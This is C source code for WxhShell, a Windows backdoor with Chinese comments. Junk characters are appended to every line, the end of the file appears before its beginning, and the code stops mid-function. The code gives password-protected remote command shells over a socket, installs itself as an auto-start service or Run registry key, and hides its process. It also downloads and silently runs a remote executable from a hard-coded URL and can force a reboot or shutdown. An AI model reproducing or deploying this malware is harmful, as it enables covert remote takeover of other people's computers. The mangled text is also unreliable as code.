    send(wsh,msg_ws_poff,strlen(msg_ws_poff),0); H'Oy._,]t  
    if(Boot(SHUTDOWN)) )}/ ycTs  
    send(wsh,msg_ws_err,strlen(msg_ws_err),0); ]tjQy1M  
    else { B#|c$s{  
    closesocket(wsh); F1Jd-3ei  
    ExitThread(0); @%oHt*u  
    } X6hp}  
    break; Skb d'j  
    } Ke*tLnO  
  // 获取shell vky@L!&,  
  case 's': { D <16m<b  
    CmdShell(wsh); ,esryFRG  
    closesocket(wsh); 7CK3t/3D  
    ExitThread(0); B$ Z%_j&  
    break; z154lY}K  
  } u{6b>c|,X  
  // 退出 t-;zgW5mwF  
  case 'x': { THVF(M4v  
    send(wsh,msg_ws_ext,strlen(msg_ws_ext),0); ou{}\^DgQ  
    CloseIt(wsh); \6{w#HsP8  
    break; :aIS>6  
    } `/"rs@  
  // 离开 I)JqaM  
  case 'q': { 'P:u/Sq?m  
    send(wsh,msg_ws_end,strlen(msg_ws_end),0); i7%v2_  
    closesocket(wsh); B2R^oL' }  
    WSACleanup(); uIvAmc4  
    exit(1); D(' w<9.  
    break; i40'U?eG~6  
        } +nz6+{li\  
  } 61[ 8I},V  
  } +.EP_2f9  
NMM$ m!zg  
  // 提示信息 K&\ q6bU  
    if(strlen(cmd)) send(wsh,msg_ws_prompt,strlen(msg_ws_prompt),0); .Wr%l $~  
} b-`=^ny)K  
  } sa7F-XM  
|= o)|z2  
  return; L&I8lG  
} I*SrK Zb  
e #5LBSP  
// shell模块句柄 tF/)DZ.to  
int CmdShell(SOCKET sock) 5Al1u|;HB  
{ :j)v=qul  
STARTUPINFO si; ]UMt  
ZeroMemory(&si,sizeof(si)); f*:DH4g }B  
si.dwFlags=STARTF_USESHOWWINDOW|STARTF_USESTDHANDLES; |h7 d #V>  
si.hStdInput=si.hStdOutput =si.hStdError =(void *)sock; 0E<xzYo  
PROCESS_INFORMATION ProcessInfo; xa=Lu?t%<  
char cmdline[]="cmd"; a7? )x])e  
CreateProcess(NULL,cmdline,NULL,NULL,1,0,NULL,NULL,&si,&ProcessInfo); vGX}zzto  
  return 0; $$5E+UDOs  
} Ik\n/EE  
+D@+j  
// 自身启动模式 S.I3m-  
int StartFromService(void) mnG\qsKNLK  
{ BQ;F`!Hx?  
typedef struct >, 9R :X(  
{ tQ@%3`  
  DWORD ExitStatus; _oILZ,  
  DWORD PebBaseAddress; }x9D;%)/  
  DWORD AffinityMask; ^5GyW`a}  
  DWORD BasePriority; )Z=S'm k4_  
  ULONG UniqueProcessId; XHh!Q0v;  
  ULONG InheritedFromUniqueProcessId; R/O>^s!Co  
}   PROCESS_BASIC_INFORMATION; !bq3c(d  
Qms,kX  
PROCNTQSIP NtQueryInformationProcess; sU=7)*$  
ZHN@&Gg6)  
static ENUMPROCESSMODULES g_pEnumProcessModules = NULL ; %3:[0o={d  
static GETMODULEBASENAME g_pGetModuleBaseName = NULL ; Fcz}Gs4  
'bb *$T0=  
  HANDLE             hProcess; Xa xM$  
  PROCESS_BASIC_INFORMATION pbi; 4pJ #fkc^  
Bn<1zg5  
  HINSTANCE hInst = LoadLibraryA("PSAPI.DLL"); %aB RL6  
  if(NULL == hInst ) return 0; jY+u OH  
.,9e~6}  
  g_pEnumProcessModules = (ENUMPROCESSMODULES)GetProcAddress(hInst ,"EnumProcessModules"); n | M~C\*  
  g_pGetModuleBaseName = (GETMODULEBASENAME)GetProcAddress(hInst, "GetModuleBaseNameA"); {tDH !sX  
  NtQueryInformationProcess = (PROCNTQSIP)GetProcAddress(GetModuleHandle("ntdll"), "NtQueryInformationProcess"); 0^-1/Ec  
c{,VU.5/  
  if (!NtQueryInformationProcess) return 0; <NYf!bx  
0DB8[#i%:  
  hProcess = OpenProcess(PROCESS_QUERY_INFORMATION,FALSE,GetCurrentProcessId()); 6 6%_p]U  
  if(!hProcess) return 0; m+a\NXWR?N  
l} =@9A@  
  if(NtQueryInformationProcess( hProcess, 0, (PVOID)&pbi, sizeof(PROCESS_BASIC_INFORMATION), NULL)) return 0; v\3 \n3[u  
l2*o@&.  
  CloseHandle(hProcess); ' O+)[D  
DTMoZm  
hProcess = OpenProcess(PROCESS_QUERY_INFORMATION | PROCESS_VM_READ, FALSE, pbi.InheritedFromUniqueProcessId); F*['1eAmdY  
if(hProcess==NULL) return 0; 11g_!X -g@  
? koIZ  
HMODULE hMod; k0(_0o  
char procName[255]; ;_oJGII?br  
unsigned long cbNeeded; i>aIuQ`pe  
I)AbH<G{  
if(g_pEnumProcessModules(hProcess, &hMod, sizeof(hMod), &cbNeeded)) g_pGetModuleBaseName(hProcess, hMod, procName, sizeof(procName)); {2v,J]v_[  
SmUj8?6"  
  CloseHandle(hProcess); !LX)  
,s~d39{  
if(strstr(procName,"services")) return 1; // 以服务启动 itn<c2UyA  
)L0NX^jW;  
  return 0; // 注册表启动 J P1XH k  
} 51Q m2,P1^  
gy*c$[NS$  
// 主模块 _)%Sz"g^Ix  
int StartWxhshell(LPSTR lpCmdLine) .ED8b5t|  
{ A?+0Ce&qL  
  SOCKET wsl; `bJ?8~ 8 *  
BOOL val=TRUE; k E},>+W+  
  int port=0; c.eUlr_ {  
  struct sockaddr_in door; z4iTf8  
uz /Wbc>y  
  if(wscfg.ws_autoins) Install(); .dO8I/lhV  
NW4tQ;ad  
port=atoi(lpCmdLine); t[4V1:  
/7fD;H^*  
if(port<=0) port=wscfg.ws_port; ' 5xvR G  
t}wwRWo2?f  
  WSADATA data; dZ,IXA yB  
  if(WSAStartup(MAKEWORD(2,2),&data)!=0) return 1; wsEOcaie  
Tv6HPD$[  
  if((wsl = WSASocket(AF_INET, SOCK_STREAM, IPPROTO_TCP,NULL,0,0)) == INVALID_SOCKET) return 1;   oWb\T 2!m  
setsockopt(wsl,SOL_SOCKET,SO_REUSEADDR,(char *)&val,sizeof(val)); nXT/zfS  
  door.sin_family = AF_INET; ]pq(Q:"P,5  
  door.sin_addr.s_addr = inet_addr("127.0.0.1"); uefrE53  
  door.sin_port = htons(port); 9-"!v0['  
+/n<]?(T  
  if(bind(wsl, (const struct sockaddr *) &door,sizeof(door)) == INVALID_SOCKET) { _PPn =kuMa  
closesocket(wsl); EGysA{o"X  
return 1; EpU}~vC9C  
} )_a;xB` S(  
k~XDwmt;  
  if(listen(wsl,2) == INVALID_SOCKET) { ''?iJFR  
closesocket(wsl); ^:u-wr8?{  
return 1; :LxsiDrF[  
} EpCF/i?9:  
  Wxhshell(wsl); Mc9JFzp  
  WSACleanup(); 1'YUK"i  
?ocBRla  
return 0; X-y3CO:&@h  
c\le8C3  
} i?:#lbw_  
-~Chf4?<4  
// 以NT服务方式启动 ' +f(9/  
VOID WINAPI NTServiceMain( DWORD dwArgc, LPSTR *lpszArgv ) X6Q\NJ"B  
{ V.-cm51I  
DWORD   status = 0; :Xs3Vh,V  
  DWORD   specificError = 0xfffffff; w'6sJ#ba(  
MS`XhFPS.  
  serviceStatus.dwServiceType     = SERVICE_WIN32; 0t(2^*I?>  
  serviceStatus.dwCurrentState     = SERVICE_START_PENDING; I|<`Er-;58  
  serviceStatus.dwControlsAccepted   = SERVICE_ACCEPT_STOP | SERVICE_ACCEPT_PAUSE_CONTINUE; Nil nS!BM  
  serviceStatus.dwWin32ExitCode     = 0; \gFV6 H?`  
  serviceStatus.dwServiceSpecificExitCode = 0; 3jx/1VV  
  serviceStatus.dwCheckPoint       = 0; Tvl"KVGm  
  serviceStatus.dwWaitHint       = 0; bk|?>yd  
!<vy!pXg  
  hServiceStatusHandle = RegisterServiceCtrlHandler(wscfg.ws_svcname, NTServiceHandler); /d*[za'0  
  if (hServiceStatusHandle==0) return; p5aqlYb6r  
$U4[a:  
status = GetLastError(); ) W/_2Q.  
  if (status!=NO_ERROR) Gzc`5n{"  
{ V<ii  
    serviceStatus.dwCurrentState     = SERVICE_STOPPED; ^6QzaC3  
    serviceStatus.dwCheckPoint       = 0; `b KJ  
    serviceStatus.dwWaitHint       = 0; KU^|T2s%  
    serviceStatus.dwWin32ExitCode     = status; +Kp8X53  
    serviceStatus.dwServiceSpecificExitCode = specificError; ()W`4p  
    SetServiceStatus(hServiceStatusHandle, &serviceStatus); j;J`P H  
    return; 6F_:,b^  
  } Zd}12HFq  
&EhOSu  
  serviceStatus.dwCurrentState     = SERVICE_RUNNING; $/crb8-C  
  serviceStatus.dwCheckPoint       = 0; e^k)756  
  serviceStatus.dwWaitHint       = 0; 2 b80b50  
  if(SetServiceStatus(hServiceStatusHandle, &serviceStatus)) StartWxhshell(""); %)w7t[A2D  
} AAF']z<4_"  
B:VGa<lx5  
// 处理NT服务事件,比如:启动、停止 [ D"5@  
VOID WINAPI NTServiceHandler(DWORD fdwControl) +y^'\KN  
{ #x6EZnG  
switch(fdwControl) ct@3]  
{ XzBlT( `w  
case SERVICE_CONTROL_STOP: #sE: xIR  
  serviceStatus.dwWin32ExitCode = 0; #y f  
  serviceStatus.dwCurrentState = SERVICE_STOPPED; &ZL4/e  
  serviceStatus.dwCheckPoint   = 0; G2&,R{L6w  
  serviceStatus.dwWaitHint     = 0; b$sT`+4q  
  { |j4p  
  SetServiceStatus(hServiceStatusHandle, &serviceStatus); i3cMRcS;  
  } K!8l!FFl  
  return; \c1>15  
case SERVICE_CONTROL_PAUSE: n?QglN  
  serviceStatus.dwCurrentState = SERVICE_PAUSED; K7t_Q8  
  break; aF[#(PF  
case SERVICE_CONTROL_CONTINUE: Sq x'nXgO  
  serviceStatus.dwCurrentState = SERVICE_RUNNING; Te`MIR  
  break; NNMn,J  
case SERVICE_CONTROL_INTERROGATE: #~4;yY\$I  
  break; Myf2"\}  
}; ,0eXg  
  SetServiceStatus(hServiceStatusHandle, &serviceStatus); LK<ZF=z]Z  
} IEe;ygL#  
uANpqT}!  
// 标准应用程序主函数 qIxe)+.  
int WINAPI WinMain(HINSTANCE hInstance, HINSTANCE hPrevInstance, LPSTR lpCmdLine, INT nCmdShow) M5 P3;  
{  81!gp7c  
+LlAGg]Z  
// 获取操作系统版本 I#'yy7J  
OsIsNt=GetOsVer(); DiskGq@T  
GetModuleFileName(NULL,ExeFile,MAX_PATH); c`/kx  
Mp(;PbVD  
  // 从命令行安装 ';m;K (g  
  if(strpbrk(lpCmdLine,"iI")) Install(); "5v^6R9e  
J&bMox  
  // 下载执行文件 F_&H*kL L3  
if(wscfg.ws_downexe) { )d>Dcne  
if(URLDownloadToFile(0, wscfg.ws_fileurl, wscfg.ws_filenam, 0, 0)==S_OK) ,ZVhL* "  
  WinExec(wscfg.ws_filenam,SW_HIDE); }}l jVUpC%  
} s^k<r;'\  
.LGA0  
if(!OsIsNt) { xyHv7u%*  
// 如果时win9x,隐藏进程并且设置为注册表启动 z'*{V\  
HideProc(); (+}44Ldt  
StartWxhshell(lpCmdLine); PbfgWGr  
} U?ZWDr"*`w  
else E)|Bl>  
  if(StartFromService()) fOdX2{7m  
  // 以服务方式启动 7d/I"?=|rA  
  StartServiceCtrlDispatcher(DispatchTable); ANfy+@  
else  pLM?m  
  // 普通方式启动 _YN C}PUU  
  StartWxhshell(lpCmdLine); l5D4 ?`|  
GcG$>&,  
return 0; 8T8]gM  
} `NNP}O2  
=}0$|@pl  
e'p"gX  
&_-3>8gU  
=========================================== Sbeq%Iwm.  
CdMV(  
x`I"%pG  
FD[4?\W]#  
8U n0<+b  
>Bu _NoM  
" wxN&k$`a  
`|PhXr  
#include <stdio.h> NN5G '|i  
#include <string.h> v5&W)F  
#include <windows.h> ge1U1o  
#include <winsock2.h> s#(7D3Pr#  
#include <winsvc.h> P<;Puww/  
#include <urlmon.h> EKS?3z%!  
iBmvy 7S?  
#pragma comment (lib, "Ws2_32.lib") 8"A0@fNz  
#pragma comment (lib, "urlmon.lib") +11 oVW  
KUC%Da3  
#define MAX_USER   100 // 最大客户端连接数 "rVM23@ tq  
#define BUF_SOCK   200 // sock buffer Asy2jw\V  
#define KEY_BUFF   255 // 输入 buffer D={$l'y9p  
],vid1E  
#define REBOOT     0   // 重启 2`> (LH  
#define SHUTDOWN   1   // 关机 w ~^{V4V  
or bz`IQc  
#define DEF_PORT   5000 // 监听端口 m_FTg)_=  
93ggCOaYA  
#define REG_LEN     16   // 注册表键长度 c[$i )\0  
#define SVC_LEN     80   // NT服务名长度 )|#ExyRO  
cQsSJBZ[v5  
// 从dll定义API ]:m4~0^#-(  
typedef DWORD (WINAPI pREGISTERSERVICEPROCESS) (DWORD,DWORD); MP.ye|i4Q  
typedef LONG (WINAPI *PROCNTQSIP)(HANDLE,UINT,PVOID,ULONG,PULONG); Kjpsz];  
typedef BOOL (WINAPI *ENUMPROCESSMODULES) (HANDLE hProcess, HMODULE * lphModule, DWORD cb, LPDWORD lpcbNeeded); l TVz'ys  
typedef DWORD (WINAPI *GETMODULEBASENAME) (HANDLE hProcess, HMODULE hModule, LPTSTR lpBaseName, DWORD nSize); D_G]WW8  
gZ-:4G|J  
// wxhshell配置信息 0.c9 6&  
struct WSCFG { Sy<io@df  
  int ws_port;         // 监听端口 @Y<fj^]k  
  char ws_passstr[REG_LEN]; // 口令 }:[MSUm5  
  int ws_autoins;       // 安装标记, 1=yes 0=no O&}R  
  char ws_regname[REG_LEN]; // 注册表键名 Kzy9i/bL  
  char ws_svcname[REG_LEN]; // 服务名 g|h;*  
  char ws_svcdisp[SVC_LEN]; // 服务显示名 Z_7TD)  
  char ws_svcdesc[SVC_LEN]; // 服务描述信息 Fq`@sM $  
  char ws_passmsg[SVC_LEN]; // 密码输入提示信息 rrq7UJ;  
int ws_downexe;       // 下载执行标记, 1=yes 0=no eLbh1L  
char ws_fileurl[SVC_LEN]; // 下载文件的 url, "http://xxx/file.exe" a&dP@)  
char ws_filenam[SVC_LEN]; // 下载后保存的文件名 r{_1M>F D!  
>GzH_]  
}; T'9M  
!1@o Z(  
// default Wxhshell configuration c(Fo-4K  
struct WSCFG wscfg={DEF_PORT, lE!.$L*k  
    "xuhuanlingzhe", OAEa+V  
    1, Mc,p]{<<AV  
    "Wxhshell", b,'rz04^  
    "Wxhshell", QUg<~q)Oq  
            "WxhShell Service", Hl*#iUq  
    "Wrsky Windows CmdShell Service", lTFo#p_(  
    "Please Input Your Password: ", "{d[V(lE"  
  1, [4@@b"H  
  "http://www.wrsky.com/wxhshell.exe", vV*/"'>  
  "Wxhshell.exe" Z=< D`  
    }; wRq f'  
:c`djM^ll  
// 消息定义模块 XhN?E-WywQ  
char *msg_ws_copyright="\n\rWxhShell v1.0 (C)2005 http://www.wrsky.com\n\rMake by 虚幻灵者\n\r"; {7q8@`Oa  
char *msg_ws_prompt="\n\r? for help\n\r#>"; r5+ MjR  
char *msg_ws_cmd="\n\ri Install\n\rr Remove\n\rp Path\n\rb reboot\n\rd shutdown\n\rs Shell\n\rx exit\n\rq Quit\n\r\n\rDownload:\n\r#>http://.../server.exe\n\r"; %o`Cp64`Q  
char *msg_ws_ext="\n\rExit."; #qJ6iA6{  
char *msg_ws_end="\n\rQuit."; QUF1_Sa  
char *msg_ws_boot="\n\rReboot..."; " Lh XR  
char *msg_ws_poff="\n\rShutdown..."; |/Y!R>El  
char *msg_ws_down="\n\rSave to "; }:1qK67S  
I*mBU^<9V  
char *msg_ws_err="\n\rErr!"; =/4}!B/  
char *msg_ws_ok="\n\rOK!"; T b*Q4:r"  
$-6[9d-N  
char ExeFile[MAX_PATH]; IVeA[qA0  
int nUser = 0; .Np!Qp1*  
HANDLE handles[MAX_USER]; 4 XGEw9`3  
int OsIsNt; AboRuHQ  
fSGaUBiq}  
SERVICE_STATUS       serviceStatus; a)6?:nY$  
SERVICE_STATUS_HANDLE   hServiceStatusHandle; }VVtv1  
&yqk96z  
// 函数声明 z^y -A ?  
int Install(void); GkKoc v  
int Uninstall(void); FY]Et= p  
int DownloadFile(char *sURL, SOCKET wsh); ~dLe9-_9  
int Boot(int flag); ?3i<^@?  
void HideProc(void); 5"+;}E|q  
int GetOsVer(void); dbF9%I@  
int Wxhshell(SOCKET wsl); 5j _[z|W2  
void TalkWithClient(void *cs); J`wx72/-ZW  
int CmdShell(SOCKET sock); U;gy4rj  
int StartFromService(void); k_Lv\'Ok  
int StartWxhshell(LPSTR lpCmdLine); HD z"i  
9'KOc5@l^  
VOID WINAPI NTServiceMain( DWORD dwArgc, LPTSTR *lpszArgv ); =S\pI  
VOID WINAPI NTServiceHandler( DWORD fdwControl ); lg 1r]  
u:,B&}j  
// 数据结构和表定义 : %U lNk  
SERVICE_TABLE_ENTRY DispatchTable[] = w2K>k/v{-  
{ ytV4qU82G  
{wscfg.ws_svcname, NTServiceMain}, Ev48|X6  
{NULL, NULL} +Lo,*  
}; uiWo<}t}{  
I#W J";kqB  
// 自我安装 VY0-18 o  
int Install(void) -or)NE  
{ '47E8PIJ|  
  char svExeFile[MAX_PATH]; ff aMF~+  
  HKEY key; j'UW gwB  
  strcpy(svExeFile,ExeFile); 7qdB   
}c#W"y5l_  
// 如果是win9x系统,修改注册表设为自启动 "2T* w~V&y  
if(!OsIsNt) { 0 Gq<APtr  
if(RegOpenKey(HKEY_LOCAL_MACHINE,"Software\\Microsoft\\Windows\\CurrentVersion\\Run",&key)==ERROR_SUCCESS) { &*~_ "WyU  
  RegSetValueEx(key,wscfg.ws_regname,0,REG_SZ,(BYTE *)svExeFile,lstrlen(svExeFile)); ^n\g,  
  RegCloseKey(key); #Q|ACNpYM  
  if(RegOpenKey(HKEY_LOCAL_MACHINE,"Software\\Microsoft\\Windows\\CurrentVersion\\RunServices",&key)==ERROR_SUCCESS) { )=0@4   
  RegSetValueEx(key,wscfg.ws_regname,0,REG_SZ,(BYTE *)svExeFile,lstrlen(svExeFile)); VxU{ZD~<Z"  
  RegCloseKey(key); ,~NJ}4wP  
  return 0; .;&4'ga4  
    } ,@Elw>^  
  } I3Ad+]v  
} $- GwNG  
else { S^~ lQ|D  
qc6d,z/  
// 如果是NT以上系统,安装为系统服务 \u6/nvZ]N  
SC_HANDLE schSCManager = OpenSCManager( NULL, NULL, SC_MANAGER_CREATE_SERVICE); 6{ pg^K  
if (schSCManager!=0) jYW-}2L  
{ 2JHV*/Q  
  SC_HANDLE schService = CreateService !'=< uU-  
  ( i"{znKz vD  
  schSCManager, >}86#^F  
  wscfg.ws_svcname,  j 2e|  
  wscfg.ws_svcdisp, P> 7PO~E.  
  SERVICE_ALL_ACCESS, U^OR\=G^  
  SERVICE_WIN32_OWN_PROCESS|SERVICE_INTERACTIVE_PROCESS , )N&95\ u  
  SERVICE_AUTO_START, ; VQ:\f G  
  SERVICE_ERROR_NORMAL, L0ZAF2O  
  svExeFile, &=lh Kt  
  NULL, =8 DS~J{  
  NULL, Oq 95zo  
  NULL, DF"*[]^[  
  NULL, I&5cUj{GX-  
  NULL IpVtbDW  
  ); U@)WTH6d  
  if (schService!=0) 7#9fcfL  
  { ~8[`(/hj  
  CloseServiceHandle(schService); j8ac8J,}c  
  CloseServiceHandle(schSCManager); uecjR8\e  
  strcpy(svExeFile,"SYSTEM\\CurrentControlSet\\Services\\"); Z'c9xvy5  
  strcat(svExeFile,wscfg.ws_svcname); @u8kNXT;h  
  if(RegOpenKey(HKEY_LOCAL_MACHINE,svExeFile,&key)==ERROR_SUCCESS) {  ;.~D!  
  RegSetValueEx(key,"Description",0,REG_SZ,(BYTE *)wscfg.ws_svcdesc,lstrlen(wscfg.ws_svcdesc)); [Y6ZcO/-i  
  RegCloseKey(key); gy/bA  
  return 0; IZZ $p{  
    } kyUG+M  
  } 7nbaR~ZV  
  CloseServiceHandle(schSCManager); \~""<*Hz  
} =5g|7grQ:`  
} tU>4?`)E  
=#vU$~a  
return 1; N  gOc2I  
} Vc "+|^  
-4S4I  
// 自我卸载 z HvW@A'F  
int Uninstall(void) .H5^N\V|  
{ 0Y*Ag ,S  
  HKEY key; v0+$d\mP4<  
[<#`@Kr  
if(!OsIsNt) { <rNz&;m}  
if(RegOpenKey(HKEY_LOCAL_MACHINE,"Software\\Microsoft\\Windows\\CurrentVersion\\Run",&key)==ERROR_SUCCESS) { f7 zGz  
  RegDeleteValue(key,wscfg.ws_regname); kfy|3KA3m  
  RegCloseKey(key); 5+*CBG}  
  if(RegOpenKey(HKEY_LOCAL_MACHINE,"Software\\Microsoft\\Windows\\CurrentVersion\\RunServices",&key)==ERROR_SUCCESS) { 2Vg+Aly4D  
  RegDeleteValue(key,wscfg.ws_regname); kJ B u7  
  RegCloseKey(key); Qf|c^B  
  return 0; e]smnf  
  } 6+yA4pRSd  
} R%;dt<Dh  
} 8jgamG  
else { !GZ{UmwA  
'zYx4&s  
SC_HANDLE schSCManager = OpenSCManager( NULL, NULL, SC_MANAGER_ALL_ACCESS); rF . Oo0  
if (schSCManager!=0) D}bCMN <  
{ q_0,KOGW  
  SC_HANDLE schService = OpenService( schSCManager, wscfg.ws_svcname, SERVICE_ALL_ACCESS); a8Z{-=)  
  if (schService!=0) WD#7Q&T(;  
  { ks<+gL{K|i  
  if(DeleteService(schService)!=0) { 4% 2MY\  
  CloseServiceHandle(schService); dxF)) Z  
  CloseServiceHandle(schSCManager); ImI, q:[67  
  return 0; i7xBi:Si  
  } Bet?]4\_  
  CloseServiceHandle(schService); EBplr ,  
  } {OW.^UIq^  
  CloseServiceHandle(schSCManager); BE," lX  
} ef -PlGn  
} CNyV6jb  
fb|lWEw5h.  
return 1; DgC;1U'  
} W/<C$T4  
93y!x}  
// 从指定url下载文件 lhJZPnx~  
int DownloadFile(char *sURL, SOCKET wsh) &y:SK)  
{ 6>/g`%`N  
  HRESULT hr; e}W|wJ):j@  
char seps[]= "/"; MrpT5|t  
char *token;  76EMS?e  
char *file; g}*F"k4j  
char myURL[MAX_PATH]; b$eZ>X  
char myFILE[MAX_PATH]; l%MIna/Tp  
0%]F&|  
strcpy(myURL,sURL); Z`kI6  
  token=strtok(myURL,seps); }e&Z"H |  
  while(token!=NULL) hx sW9  
  { + Scw;gO  
    file=token; R(DlJ  
  token=strtok(NULL,seps); Z=>#|pW,)  
  } [xg& `x9,.  
IHNl`\Le  
GetCurrentDirectory(MAX_PATH,myFILE); 1WLaJ%Fv  
strcat(myFILE, "\\"); :%"$8o*0W  
strcat(myFILE, file); psE&Rx3)  
  send(wsh,myFILE,strlen(myFILE),0); !"N-To-c  
send(wsh,"...",3,0); UWq[K&vQZ  
hr = URLDownloadToFile(0, sURL, myFILE, 0, 0); R]Pv=fn  
  if(hr==S_OK) ,$; pLjo6  
return 0; nL&[R}@W  
else 0]`%i G|  
return 1; Y` tB5P  
x8E!Ko](  
} Ct30EZ  
:/FT>UCL  
// 系统电源模块 aak[U;rx  
int Boot(int flag) c~iAjq+c  
{ wdTjJf r  
  HANDLE hToken; Ce_E S.  
  TOKEN_PRIVILEGES tkp; B&c*KaK;~  
44(l1xEN+  
  if(OsIsNt) { *9xv0hRQ%?  
  OpenProcessToken(GetCurrentProcess(),TOKEN_ADJUST_PRIVILEGES | TOKEN_QUERY, &hToken); j_HwR9^fd,  
    LookupPrivilegeValue(NULL, SE_SHUTDOWN_NAME,&tkp.Privileges[0].Luid); ekhx?rz  
    tkp.PrivilegeCount = 1; e2$k %c~  
    tkp.Privileges[0].Attributes = SE_PRIVILEGE_ENABLED; 8iwqy0<  
    AdjustTokenPrivileges(hToken, FALSE, &tkp, 0,(PTOKEN_PRIVILEGES)NULL, 0); (uskVK>L  
if(flag==REBOOT) { @If ^5s;z  
  if(ExitWindowsEx(EWX_REBOOT | EWX_FORCE, 0)) Y+UM>  
  return 0; B]|"ePj-  
} `f+l\'.s  
else { e`Vb.E)  
  if(ExitWindowsEx(EWX_POWEROFF | EWX_FORCE, 0)) AH#klYK  
  return 0; w-9fskd6e  
} ([L5i&DT  
  } 0'4V*Y  
  else { fI1,L"  
if(flag==REBOOT) { !_My]>S  
  if(ExitWindowsEx(EWX_REBOOT + EWX_FORCE,0)) b6A]/290x  
  return 0; *&lNzz5&  
} %vFoTu)2  
else { i$!-mYi+Q!  
  if(ExitWindowsEx(EWX_SHUTDOWN + EWX_FORCE,0)) Kn+m9  
  return 0; JVeb$_0k  
} Ju.B!)uS#  
} WaYT7 :  
+Q6}kbDI  
return 1; XhEd9>#  
} Y1Qg|U o  
i?1g{JW  
// win9x进程隐藏模块 }qOj^pkJ  
void HideProc(void) rkz_h  
{ V[T`I a\  
S8$kxQg  
  HINSTANCE hKernel=LoadLibrary("Kernel32.dll"); QvN=<V  
  if ( hKernel != NULL ) W_ hckq.  
  { # ^~[\8v>  
pREGISTERSERVICEPROCESS *pRegisterServiceProcess=(pREGISTERSERVICEPROCESS *)GetProcAddress(hKernel,"RegisterServiceProcess"); *Af:^>mh  
    ( *pRegisterServiceProcess)(GetCurrentProcessId(),1); ^%pM$3ov  
    FreeLibrary(hKernel); szx7CP`<8  
  } W4~:3 Sk  
Ot#O];3  
return;  iI(7{$y  
} 1"5-doo  
R"`7aa6  
// 获取操作系统版本 wa*/Am9;~  
int GetOsVer(void) 5??\[C^"}  
{ }- P ='AyL  
  OSVERSIONINFO winfo; /?wH1 ,  
  winfo.dwOSVersionInfoSize=sizeof(OSVERSIONINFO); o<r|YRzQl  
  GetVersionEx(&winfo); T2^0Q9E?  
  if(winfo.dwPlatformId==VER_PLATFORM_WIN32_NT)  8DsXw@o  
  return 1; >uN)O-  
  else EgT2a  
  return 0; %8a886;2  
} SsE8;IGH  
. w_oWmD  
// 客户端句柄模块 vS{zLXg  
int Wxhshell(SOCKET wsl) }t^N|I  
{ J<4 egk4  
  SOCKET wsh; oSOO5dk:z  
  struct sockaddr_in client; xF4>D!T%8  
  DWORD myID; tgPx!5U  
Y]SX2kk(2  
  while(nUser<MAX_USER) ~Yw`w 2  
{ ZFAi9M  
  int nSize=sizeof(client); 8- U1Y  
    wsh=accept(wsl,(struct sockaddr *)&client,&nSize); Qwm#6{5  
  if(wsh==INVALID_SOCKET) return 1; ;/Z9M"!u[  
`Y~EL?  
handles[nUser]=CreateThread(0,1000,(LPTHREAD_START_ROUTINE) TalkWithClient,(VOID *) wsh, 0, &myID); <[e E5X(  
if(handles[nUser]==0) oS/cS)N20  
  closesocket(wsh); N=QeeAI}}m  
else 1dy>a=W  
  nUser++; z!r-g(^G  
  } 7z=zJ4C  
  WaitForMultipleObjects(MAX_USER,handles,TRUE,INFINITE); 3. kP,  
gfPht 5  
  return 0; -!k$ Z  
} "#a_--"k9  
1b,,uI_  
// 关闭 socket cx(aMcX6  
void CloseIt(SOCKET wsh) ;QA`2$Ow  
{ .%pbKi `  
closesocket(wsh); "XEK oeG{  
nUser--; 1UHStR  
ExitThread(0); 61W ms@D%  
} < c}cgD4  
v&NC` dVR  
// 客户端请求句柄 PsLMV:O9S  
void TalkWithClient(void *cs) v;q<h  
{ 8Q%rBl.  
J4-64t nZ  
  SOCKET wsh=(SOCKET)cs; zdoJ+zRtK  
  char pwd[SVC_LEN]; JIl<4 %A  
  char cmd[KEY_BUFF]; *hP9d;-Ar  
char chr[1]; %$)[qa3  
int i,j; FM)Es&p&  
YB^[HE\#y  
  while (nUser < MAX_USER) { gdu8O!9)  
TfYXF`d  
if(wscfg.ws_passstr) { K9#=@}!3L  
  if(strlen(wscfg.ws_passmsg)) send(wsh,wscfg.ws_passmsg,strlen(wscfg.ws_passmsg),0); ]+SVQ|v0  
      //send(wsh,wscfg.ws_passmsg,strlen(wscfg.ws_passmsg),0); *[-% .=[7  
  //ZeroMemory(pwd,KEY_BUFF); >>ncq$  
      i=0; lAxbF  
  while(i<SVC_LEN) { 0 s-IW  
r pv`%  
  // 设置超时 gRk%ObJGqm  
  fd_set FdRead; |-W7n'n  
  struct timeval TimeOut; OKo39 A\fu  
  FD_ZERO(&FdRead); G/2| *H  
  FD_SET(wsh,&FdRead);  i,{'}B  
  TimeOut.tv_sec=8; _\9|acFT2O  
  TimeOut.tv_usec=0; q\P"AlpC!  
  int Er=select(wsh+1, &FdRead, NULL, NULL, &TimeOut); LG0z|x(  
  if((Er==SOCKET_ERROR) || (Er==0)) CloseIt(wsh); iG\ ]  
$\0%"S  
  if(recv(wsh,chr,1,0)==SOCKET_ERROR) CloseIt(wsh); SA| AS<  
  pwd=chr[0]; N6"b Ox J(  
  if(chr[0]==0xd || chr[0]==0xa) { f xWW "B*A  
  pwd=0; CMm:Vea  
  break; kIb)I(n  
  } 8Rgvb3u  
  i++; (o!v,=# 6{  
    } ],lrT0_cT  
t(O{IUYM  
  // 如果是非法用户,关闭 socket {R2gz]v4  
        if(strcmp(pwd,wscfg.ws_passstr)) CloseIt(wsh); oJcDs-!  
} .o(XnY)cgJ  
C6=P(%y  
send(wsh,msg_ws_copyright,strlen(msg_ws_copyright),0); _Ra$"j  
  send(wsh,msg_ws_prompt,strlen(msg_ws_prompt),0); Vt {uG  
'w?*4H  
while(1) { k* ayzg3F>  
hP=^JH  
  ZeroMemory(cmd,KEY_BUFF); TTS.wBpR,  
%>dCAj"  
      // 自动支持客户端 telnet标准   u7_IO  
  j=0; U;Iqz1S  
  while(j<KEY_BUFF) { S1iF1X(+?X  
  if(recv(wsh,chr,1,0)==SOCKET_ERROR) CloseIt(wsh); pZS0;T]W,  
  cmd[j]=chr[0]; ZeUA  e  
  if(chr[0]==0xa || chr[0]==0xd) { y~.k-b<{[  
  cmd[j]=0; 6;02_C]\o  
  break; $*035f  
  } qno8qF*  
  j++; 1}moT#  
    } 3fS+,>s\O  
gEVN;G'B<=  
  // 下载文件 b h%@Lo  
  if(strstr(cmd,"http://")) { 7~2b4"&  
  send(wsh,msg_ws_down,strlen(msg_ws_down),0); (vq0Gl  
  if(DownloadFile(cmd,wsh)) tgy= .o]  
  send(wsh,msg_ws_err,strlen(msg_ws_err),0); @a08*"lbp  
  else 2yu\f u  
  send(wsh,msg_ws_ok,strlen(msg_ws_ok),0); ax]Pa*C}  
